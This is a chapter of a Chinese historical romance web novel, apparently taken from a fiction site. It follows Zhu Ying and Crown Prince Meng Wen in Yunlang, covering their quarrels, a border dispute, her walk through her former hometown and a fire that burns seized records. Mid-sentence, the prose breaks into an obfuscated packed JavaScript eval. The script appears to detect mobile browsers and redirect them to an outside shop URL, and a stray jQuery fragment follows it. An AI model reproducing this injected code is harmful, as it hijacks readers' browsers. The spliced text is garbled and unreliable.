不论时人付出了何种惨重的代价,贪腐、通敌、卖国,这些见不得光的祸事,照样在这片土地上一遍又一遍重演。若使观星楼重建,岂不是要重蹈当年的覆辙?
竺影所要问的正是这些。
然而答复她的,只有太子殿下近乎冷漠的一句话:“你不该问出这种话来。”
“我为何不该问?”竺影追问道。
我的父亲由此受牵连,我才因此获罪入宫,与家人离散两地。我的的故土遭逢隳坏,同乡人为此家破人亡,这一桩桩一件件砸在我身上,凭什么我连问都不能问?
孟闻道:“你那么聪明,明知道为何不能问。”
陛下的执念已经到了疯魔的地步,观星楼一定会重建,即便不是太子,也会有别人接下这个烂摊子。只有太子那样蠢,肯接手这样的事,来日必会背负更大的骂名。
苍茫的暮霭里,竺影看不清他的神情,只看到他向她走过来。孟闻复又说道:“眼下,该回去了。”他不答她的问,就只会劝着她回去。
竺影也不答他的话。
平日里高高在上的太子殿下,此刻话音里竟多了一丝哀求:“竺影,有些事须得我求你吗?”
求她什么呢?竺影听了,轻轻哂出一笑:“殿下说出这种话,才是折煞小人。”
她总这样自称,阴阳怪调地扰他头疼。一双柳叶似的眼低垂着,旁人如此便是低顺;她若如此,便是不将你放在眼里。看上去柔和的柳叶,狠戾起来也可以作刀伤人的。
竺影再度启齿,言语也多了几多锋利:“殿下贵为储君,来日也会是天子,想要什么不过是一句话的事。究竟是为了什么事,须得来求小人呢?”
孟闻望着她倔强的影子,落在爬满野蔓的泥地上,正仰头直视着他。她岂不知这个太子曾像个物件一样,从架子上取下了又放回去?她岂不知太子也有护不住的人、求不得的事?可她非要这么说。一字一句像刀刃直往他心口剜。
孟闻深深叹了一口气,忍下胸中气闷,还得先向她低头,径直走向她道:“我想你今夜……该回去好好休息。”
竺影好不容易说几句大逆不道的话泄愤,结果一刀扎在了棉花上。
那声音温和到了不可思议的地步,不似一个太子对一个女官说的话,教外人分不清谁是主,谁是仆。好在外人离得远,听不到他这么轻的话音。不然太子殿下活该颜面扫地。
天已经尽黑了,黄昏与星夜交替,旷野中只剩下一座孤楼的废墟,残垣断壁前有两个不相挨的人影。
孟闻没了那么多耐心,三步并作两步上前,似乎打算上手:“要我亲自请你走吗?”
竺影识趣道:“小人自己会走。”
当夜回到梁府,竺影如旧辗转到后半夜,才勉强合眼睡上三两个时辰。
客院主屋的灯火燃了一夜,孟闻整夜都在案前看公文,捡起病时落下的政务。回京的日程一日日地近了,他得赶在离京之前做完这些。
竺影第二日过来给孟闻切脉,一探吓了她一大跳。脉象细沉,肝血不足,这人定是熬了个彻夜。本来气就没消,病人还在她眼皮子底下整这一出,存心让她不得安生。
大清早,孟闻就被她气鼓鼓地瞪着,直问她道:“怎么了?”
竺影道:“殿下一晚上没睡?”
孟闻道:“睡了。”
竺影道:“还请殿下不要对医者撒谎。”
孟闻接着道:“一个时辰。”
拖着副病体只睡一个时辰,他这是要修仙吗?竺影更气了,一甩手,又是一顿阴阳怪气:“小人人微言轻,平日里说的什么嘱托落不到殿下心里,才让殿下这么不把自己的病当回事。”
她并非一个合格的医者,可也尝试着尽职尽责。
孟闻掩口低咳了两声,解释说:“近来事务繁多,公文积压在案头,几位大人臣僚又抽不开身,确是缺个帮手,不然也不至于忙到后半夜了。”
竺影方才啧啧怪罪,这人反而怨起她来了吗?怨她这两日不来帮他。要怪就怪他脑子里有根筋搭错了,非得把商音留在宫里,带了个没脑子的角音出门。
竺影一咬牙,其实帮他理些文书也无妨,只不过她不能白干活。
竺影道:“要给我涨俸禄。”
孟闻却道:“我没说找你。”
一室倏然寂静。
竺影攥紧了拳头,不好当面发作,只能在心里暗骂:不为找她,那同她废话这么多做什么?拿她来寻消遣的么?
孟闻盯着她袖子下握紧的拳,又道:“涨俸倒是不成问题,只是这些个小事,就不劳你挂心了。”督责赈灾的帐已经算完了,手头就余下一件重修观星楼的事,算不上什么好差事,他不打算让竺影沾染半点。
竺影道:“殿下若能遵医嘱,小人也就不挂心了。”
然而人一旦忙起来,各种麻烦事总一桩接一桩地找上门来。
云琅新任太守火急火燎前来向太子请示:“殿下!半月前逃走的几个乌护人又来了,还联合乌护使臣,说我梁国人先前杀死他们的族人十二人,势要臣等给他们个说法。”
“说法?”孟闻一摆手遣竺影回避,戏谑打量着新上任的周太守。此人是梁叡荐来的,许他暂代太守之职,领云琅军务事。
孟闻道:“府君接见他们了?”
周太守道:“下官未敢擅作主张,当即先来请示殿下,再做决断。”
孟闻道:“正好。此前乌护人到我城里来,杀死百姓十一人,砍伤二十四人。这笔帐,你去同他们好好算算。”
“殿下!”周太守惶恐顿首道,“乌护人来之不善,唯恐他们借此生事,还是宜小心应对。”
孟闻蔑冷盯他一眼,只瞧见他的后脑的官帽,整个人像是没有骨头般,软得直栽到了地上。
孟闻哼笑道:“既然府君胸中已有丘壑,那还来问我做什么?便全权交由府君,自行酌情操办罢,莫要辜负了梁中正的提携之恩。只是我需提醒你一句,外族一事上,陛下素来不肯让步半分。外患若处理不好,耽搁了重修观星楼的事,陛下势必要怪责下来。届时尔等一个都逃不脱。府君切记谨慎应对着,可千万不要步了前人后尘。”
那个前人,指的自然就是瞿太守。
周太守连声应是,扶着官帽站起身来时,已是慌得满头大汗。
孟闻又吩咐道:“你去告知梁中正,不论交战与否,都须早日统计了各郡兵伍情状,交由容侍郎一并禀明了朝中。”
周太守惶恐应下,辞了太子殿下,赶忙向前院去复命。
太守前脚刚走,角音后脚捧着一柄刀刃进门,问道:“殿下要取乌护人的弯刀何用?”
孟闻接了弯刀,取下鹿皮刀鞘,刀刃被擦拭得锃亮,一丝血迹也无。他问道:“是从那日进城的乌护人身上缴来的吗?”
角音道:“正是。十五人中杀了十二个,缴了弯刀十把,长剑二柄,还有短匕四把。”
孟闻问:“折了几个将士?”
角音顿了片刻,答:“十七个。”
指尖一下下敲着刀身,孟闻深深叹道:“如今胡地的人也用上精铁锻的兵刃了。”
往昔大臣在奏章上呈的“胡人厉兵秣马”,今也在此具象。一场败仗丢了北地十一城,挫了梁国锐气,饿死了北地的民,却喂饱了乌护的兵,养肥了胡人的马。
此消彼长。
孟闻往后一仰,斜倚着凭几,幽幽叹了口气。乌护人一来,便要先着手解决与外族纠纷,警惕边衅再启,毕竟谁都不想开战。若外族只是闹上一闹,便还好。他正好借此为由,摸清北地各郡的军情。看看襄王与梁氏占了并州这些年,吃了多少空额,克扣了多少兵饷。如今照表面看来,北地官员如此惧怕交战,看来这处的兵力防备依旧因贪腐而空虚。
从宁朔九年起,好不容易重建的军防,在和平的年月里一日又一日地懈怠。那些在位上的人总心存侥幸,今日挪一点,明日又贪几分,只要不打起来,便可长久地虚糜度日。孟闻巡视过并州诸郡,除了一个尚泉郡郡外,各地都只剩个空架子。他深知一旦交战,千里之堤顷刻便会崩塌。
孟闻也在斟酌着,如何把握好这一个度。留着一点外患在眼前,才能北地之人居安思危,那些尸位素餐之人才会收敛些。可又不能真让乌护人再打进来,否则并州以北十一城陷之事,恐会重演。
怀镜端了一盏清茶、些许茶点推门进屋,对着屋中人道:“殿下昨夜操劳,还是休息一会罢。要不要叫怀岫来点些宁神香,侍奉殿下小憩片刻?”
孟闻道:“不必。等会就去前院议事了。”
怀镜便放下了茶盘,上前去替他打理衣衫褶皱。
“竺影呢?”孟闻问她。
怀镜道:“还在院里。”
孟闻稍稍放下心来。走出门去,一眼便看到立在廊下的竺影。她低敛着眉目,外表恭顺地向他行礼,偏站得离他远远的。
他如何不知,此女子是个面上乖顺,实则阳奉阴违的刺头?对孟闻而言,乌护寻衅、重修旧楼这些,并非解决不了的难事。来来去去,只有眼前人最让她头疼。
生怕一时不顾,她又惹出些是非。
孟闻临走前,单独嘱咐竺影:“这几日不要出府了,外面不太平。”
竺影乖顺应了声是。
得了她回复,孟闻才出门去,又留角音在客院外守着。
太子殿下与众臣在外议事,一去便是整日。入夜以后,客院里一直灯火通明,专留着灯等太子回来,他也直至深夜才归。往后几日都是如此,朝出晚归,被乌护人拖住了,有时连寝食都顾不上。竺影每日只见他一面,请了脉后,盯着他把药喝干净。此前劝过的话他不听,竺影也不说第二遍。
这几日过得煎熬又漫长,不论是对前院忙政事的人,还是对后院里虚糜度日的人来说,都是如此。
竺影困在院中无处可去,整日坐在基台上翻书。陆机的文章被她翻出来,不知读了第几遍。膝上放一罐闵师傅给的梨膏糖,口中含着的化了,就再拈一块来吃。偶尔翡儿经过时,竺影也会分给她一块。
春风徐徐,衣摆随风轻轻摇晃,平缓的脚步声在竺影身侧停下。她懒得起身,便朝身后举着糖罐,说道:“自己来拿罢。”
不知怎的,这回翡儿迟迟没伸手。
竺影回头一看,乍然瞥见垂下的衣摆间,悬着一块玉螭纹佩。咳……竟不是翡儿。已经伸出去的糖罐,又颤抖抖收回来。
竺影放下起身行礼,同他胡乱寒暄:“殿下还不曾就寝么?”
孟闻道:“现下是白日。”
“哦。”竺影又问,“殿下忙完了吗?”
孟闻道:“州郡之事那么多,忙不完的。”
竺影不想同他说这些,他又道:“云琅的事已了结,我命角音去收拾了瞿府的文书,预备提早两日回京。剩下两日,你想去何处便去罢。要出城的话,便叫角音随你去。”
竺影道:“我不出城,就在城中。”
她有些魂不守舍的,本以为被乌护的事牵绊住,难免要耽搁回程,他怎么突然就改了主意,要提早回去了?
其实算下来,已经是三月下旬了,奔忙之中,不觉北地已深春。
云琅城中少人行,一如来时一样冷清,见不到挤挤挨挨的人群。乌护人上次来时,砍杀了不少无辜民众,这会乌护人刚走,闭户不出的人家才逐渐走上街头。
竺影才从梁府里出来,独自一人在云琅城中闲走。
往时都跟随在太子左右,他出行要么乘坐马车,不准她掀车帘;要么有亲卫随行,将民众阻隔在十丈开外。都是他去哪里,竺影就跟去哪里,都是为公事,不是为闲逛而来。来来去去数回,竺影未有一次看过云琅城的全貌。
云琅建城已有百年,与国朝的历史一样久远,但它也是一座新的郡城。脚下的石砖,道旁的一草一木,士族的府邸,一切都是新的,乃至是人。就连云琅的太守也换了新的。
一切的秩序都在八年前推倒了又重建,对于竺影来说,云琅已经是一个完全陌生的地方了。
城区里空荡荡的,仰头只见枝头鸟雀闹,不是路人来谈笑。
不知不觉,就走进了一条偏僻的巷道,这里竟比街道上更热闹。巷子口有人吆喝着卖豆腐,妇人围聚在一起缝衣,贩夫挑起担子横着走,一面避让行人一面吆喝。还有的端了饭碗坐在门槛上吃饭,方便与对门的人话些家常。
竺影走进巷道深处,看到一对母女。
妇人从城门口的粥棚分了碗粟粥,一路捧回家里,与坐在门口的幺儿分了吃。
幺儿吃完了粥,舔去碗边剩下的几粒粟,仰头问母亲:“阿母,祝先生还记得我们吗?”
妇人笑着道:“他当然还记得啊。”
幺儿说道:“可他怎么都不回来?我还从未见过他……”
孩子看着瘦瘦小小的,年纪应当不超过十岁,自然不曾见到过十年前就去了京城的祝家人。
妇人说道:“祝先生虽回不来,但他一直都挂念着云琅啊……”
稚子年幼,总爱刨根问底,又缠在母亲怀里问:“真的吗?”
妇人抚了抚孩子的背脊,笑道:“当然是真的,阿母骗你做什么?”
“你阿母没有骗你,祝先生一直都想回来的。”竺影不自觉地朝母女二人走过去,怕孩子不相信似的,又继续说,“当今太子殿下就是祝先生的学生,城门那儿发下来的粥粮与药材,都是他从京中带过来的。”
说完这些,竺影又赌气似的在想:祝先生的学生,就是比太子殿下的名头更好用。
母女俩都转过头来,孩子扬起头看她,眼睛亮晶晶的。
幺儿问竺影:“你也是从京城来的吗?”
竺影道:“不全是。我从京城过来,可我原也是云琅人呢。”
妇人道:“难怪,我看女郎有几分面熟呢。”
竺影盯着小孩看了几眼,问这孩子的母亲:“我看她有咳疾,怎么没带她去药铺拿药啊。”
再不赶着去,等太子殿下一回京,这些地方官不需再装装样子,城里的粥铺、药铺即刻就会撤走。
妇人道:“药铺里每天都有人排着队,还有病得更重的人等着去拿药呢。孩子就这点小毛病,我怎么好意思去跟他们抢。想着回春暖和了,她捱过这一阵子就好了。”
“一直病着也难受啊。”竺影蹲下身来牵住孩子的手,腰间被什么东西硌了一下。她想起自己的荷包里放了些梨膏糖,便取来给了妇人,“正好,我这儿有些梨膏糖,吃了也能止咳平喘,夫人拿去。”
“不不不。”妇人忙推辞道,“平白无故的,怎好收女郎的东西?”
妇人不肯收,竺影转看向那孩子,在她面前晃了晃竹罐,里头的糖块哐当地响。
竺影问:“你想不想吃糖?”
孩子一本正经地摇头,嘴上说不想,眼睛却一直盯着竺影手里的糖,看得眼睛都发直了。直到糖罐落到手里,孩子才后知后觉。
竺影笑了笑道:“送你了,要快点好起来呀。”
孩子顿时满脸通红,转头就扑进母亲怀里把头埋起来,小声呢喃:“阿母,她好美啊。”
妇人揉着眼睛,笑得眼泪都冒出来了。她哄着幺儿说:“这些话可以大声点说。”
竺影问:“是因为我给你糖吃,你才夸我美吗?”
孩子一听竺影的调侃,更加不好意思了,不论妇人怎么死命地拽,孩子都不肯把脸露出来,只剩一只耳朵红红的露在外面。
竺影也没在此跟她们闲聊更多,仅仅一笑就折返回道中。
妇人在她身后问:“女郎是谁家的啊?家住在何处?”
竺影没有回头,却如实回答:“竺家的。”
妇人听了,着急就要扯开孩子的桎梏追上去,只惜她得以站起身时,竺影早就走远了。
云琅城与京城比起来,也就是巴掌大的地方。竺影从前从未觉得,自己的故乡这样小,几步路就走得到头。其实她也无处可去。昔年的竺府、祝府都不在了,其余几家与竺家有交情的士族,都受了梁氏排挤,迁去了更偏远的郡县。
途中听几句乡音,与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856858|183722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乡人话闲几句,就走完了这一路。停在巍峨府邸的踏跺前,抬首又是梁府的匾额。
又一日黄昏了,梁府的仆从在院门口点了灯,很快天色奄奄,要依靠豆大点灯火照明。
一点一点的,缀满了檐下,蔓延到竺影头顶的屋檐上来。
前院设宴在给太子与众官员践行,酒气四溢,笙歌喧天。
竺影一回来就坐在檐下发呆。
院里的宫人、内侍得知要回京了,早早预备收拾好东西。欢声笑语从耳房里漫出来,步子也轻快地从里间跑到外间。翡儿本要叫竺影一起进屋收拾的,又被怀镜扯了回去。
怀镜道:“先别去打搅她了罢,也不知生了什么怪病,成了这副模样。”她心思细腻些,总能察觉别人的不同。
竺影安安静静地坐在那儿,什么也不说,什么也不做,旁人还是能瞧见她的难过。
从前的竺府不会点这样多的灯盏,每逢夜幕低垂,天色暗到看不清墙外竹影的时候,母亲就会催促她回屋早睡。
而她会趁府里所有灯火都熄灭时,看窗外月明如昼,披一件褶衣朝屋外走,独坐阶前数满天的星。
入夜的云琅很静、很静……
绝不会有今日的纷扰嘈杂。
明日就要走了,竺影舍不得睡。只想再好好看一看自己曾经的家,哪怕只能从中找出一点点影子来。
清风鸣绿竹,窗下枕诗书。正是她小字的由来。如今这个由来已经无迹可寻。一群盗跖之徒占了这个地方,占了云琅人从前的家园。昨日竺府已成今日之梁府,东风依旧随心所欲吹过,廊下再不闻清风鸣竹。
是时候该走了,她还要回到宫城里,还有更重要的事要做。她的父母还在交州。
竺影也回了屋,收拾起自己的东西。其实她并没有带多少行囊,不过几件春衫,些许杂物,还有一个小小的妆奁。更多的是书卷,来时捧着书看,走了也不忘带上她宝贝似的书,一本本整整齐齐地摞在一起,装了满满一匣子。
一晃眼月落而日升,踏上了回程。
来时在路上耗了二十日,一日才行四五十里,归程估摸着也该这么久。然太子殿下归京心切,马车又比来时驱使得更快些。
出了并州,中途要经过很长一段荒无人烟的野道,离前后两座城池都远,赶不及进城落脚。行了四日的路,队伍都已疲敝了,夜里只得驻扎在郊野歇息。
二月初时,沿途还是一片荒草地。到了四月初,各处都长出了浅草新芽,再过个把月,山野里也该枝繁叶茂。
星垂平野,夜里算不上寂静,耳旁常有虫鸣鸟叫,守卫巡逻的声音也在马车周围徘徊不止。竺影与几个宫人睡在马车上,拿书做枕,半睡半靠着入眠。这一觉睡得腰酸背疼,腿也发麻。
到了后半夜,车窗外突然亮了起来,却并非是破晓的天色。竺影最先被惊醒,施施然睁开眼,见剩下三个宫人都睡着。亮光透过竹帘间隙,落在她们的面庞上,泛着一层红光。像篝火燃得正旺,噼里啪啦地爆响。
掀了竹帘往外一探,只见外头火光冲天。非是篝火,而是一辆马车被引燃了,火舌燎上马车上方,足有一层楼那般高。拉车的马受了惊吓,缰绳一经烧断,早就嘶鸣着跑得无影无踪了。
这处离河道远,甲士与内侍提着大大小小的器皿,焦急奔走着取水救火,还有的举着枝干扑火。奈何火势实在太大,所做的一切有如杯水车薪,于事无补。又有人奔往轺车那边,给太子报信。
“殿下,殿下!”
远处的人不知说了些什么,侍者掀帘,太子从马车后步出,径直走向起火处。
竺影与孟闻都清楚,起火的马车里装的是什么,一箱箱沉甸甸的都是云琅的账簿、公文与郡志,所以火势才会蔓延得这般快。果然,还是有人盯上了他们从瞿府里带出来的那些陈年文书。
等火势将灭时,马车被烧得只剩个架子,纸页都散成了灰,半浮半沉飘散在空中。随着内侍提着最后一桶水扑过去,浇熄了最后一点火星,嘈杂又归于沉寂。
孟闻身旁的侍者解释说:“殿下,只怪小人夜里疏忽,叫一点火星溅了出来,点着了干草,火势蔓延到这处来,这才顺着车帘烧了起来。取水的地方实在是太远太远了……”
四周的人都垂首不作声,只等着他问罪。
晚风吹拂,夹杂着草木灰的气味,仍留有余热。孟闻听完,良久不发话,只痴痴地垂袖立着,凝睇那一堆余烬。罗袖似云,卷了又舒。
过了许久,他才开口:“可有人受伤?”
侍者答:“无人伤亡,只惜殿下的藏书尽数被焚毁了。”
孟闻道:“叫今夜值守的人过来问话,去挑拣一番,看看还剩下些什么。”
侍者点头应是。
孟闻视线往四周一扫,忽而落在几个随行宫人所在的马车,竺影忙落下车帘,不再偷看。车上几个人都醒着,这会仍心有余悸,你一言我一语议论着,怎么会突然起了火?幸好没烧到咱们这儿来。后半夜怕是难以入眠了,她们生怕一场火燃及己身。
孟闻回到轺车上,角音也寻了过来,靠近车窗向孟闻回禀:“殿下,那几人都审过了。都说火势是从外蔓延到车上的,没见着放火的人。”
孟闻道:“那便罢了。”
“罢了?”角音不可置信,复又确认一番,“殿下是说不查了?那么多驾马车,怎么偏偏只烧着了藏书那驾?说不准是殿下身边藏了细作,才将瞿府藏书一事露了出去。”
孟闻道:“你想说的是谁?”
角音道:“这事本就无外人知晓,那日去了密室的就只有三人,除了竺影,还会有谁去告密?”
孟闻低低笑了笑,怕他提刀去找旁人的麻烦,这才告知他:“消息是我透露给他们的。”
角音疑惑叹了一声:“殿下?”
孟闻道:“从并州带走这么多文书,定然瞒不过梁叡。毁了便毁了罢,本就是为试探梁氏与朝中的人。提前两日回京,消息来不及传回朝中,看来是并州这边的人动的手。”
角音得知了殿下的盘算,心中尚存不甘:“只是那些许是能为……翻案的证据,就任由它全毁了吗?”
孟闻道:“留着的那些也未必能证明什么,你且不必过问了,今夜失职的人该罚的罚,叫他们往后再谨慎些。”
殿下既已发了话,角音也不好多问什么,领命离去了。
角音走后,轺车四周寂静了迂久。连巡守的亲卫都识趣地离了老远,不去打搅殿下。偏有个不识礼数的,拢起衣袖,蹑着步子,悄悄摸到车舆旁。
若非太子亲卫时常见她眼熟,便要将她当作刺客拿下了。
这人便是竺影。她抬手轻叩了两下车窗,又唤了一声“殿下”。
夜风吹过,马车銮铃晃了两下,铜珠敲着铃铛,清脆叮咛。
须臾,垂下的竹帘拨开一角,从车窗处垂下一只白皙的手。车舆里端坐的人垂下眸,淡淡视着她:“何事?”
竺影小声开口道:“殿下,瞿府那些藏书尽数被烧掉了么?”
孟闻收回视线,闭目揉了揉眉心,落下一声沉重的叹息。
那么多年过去了,才从北地寻到一点蛛丝马迹,尚未来得及查证,就被一场大火烧了个干净,他心里定然不会好受。
竺影此时尚在权衡着,该如何同他张这个口。毕竟禾玉来的那个晚上,竺影始终未确定,他是否清醒着。毕竟这人太善做戏,太善伪装,跟孟明谌口中的三皇子两模两样。竺影扒着窗框,小心翼翼道:“有些事我说了,殿下能不能不要罚我?”
孟闻放下帘子,道:“上来说话。”
竺影连声道:“不,不登车了,我就在这里说。”
夜半三更的,鬼鬼祟祟溜到太子的轺车这儿来,若是登车密语,只恐让旁人误解。
她踮起脚,悄然从袖中取出一簿书递进窗去。里头的人接了,就着车舆里微弱的灯光翻看,账簿上的时间,恰是宁朔八年。那几册书目在她手中幸免于难。
“藏得不错。”孟闻又好气又好笑,“等着,回去领赏吧。”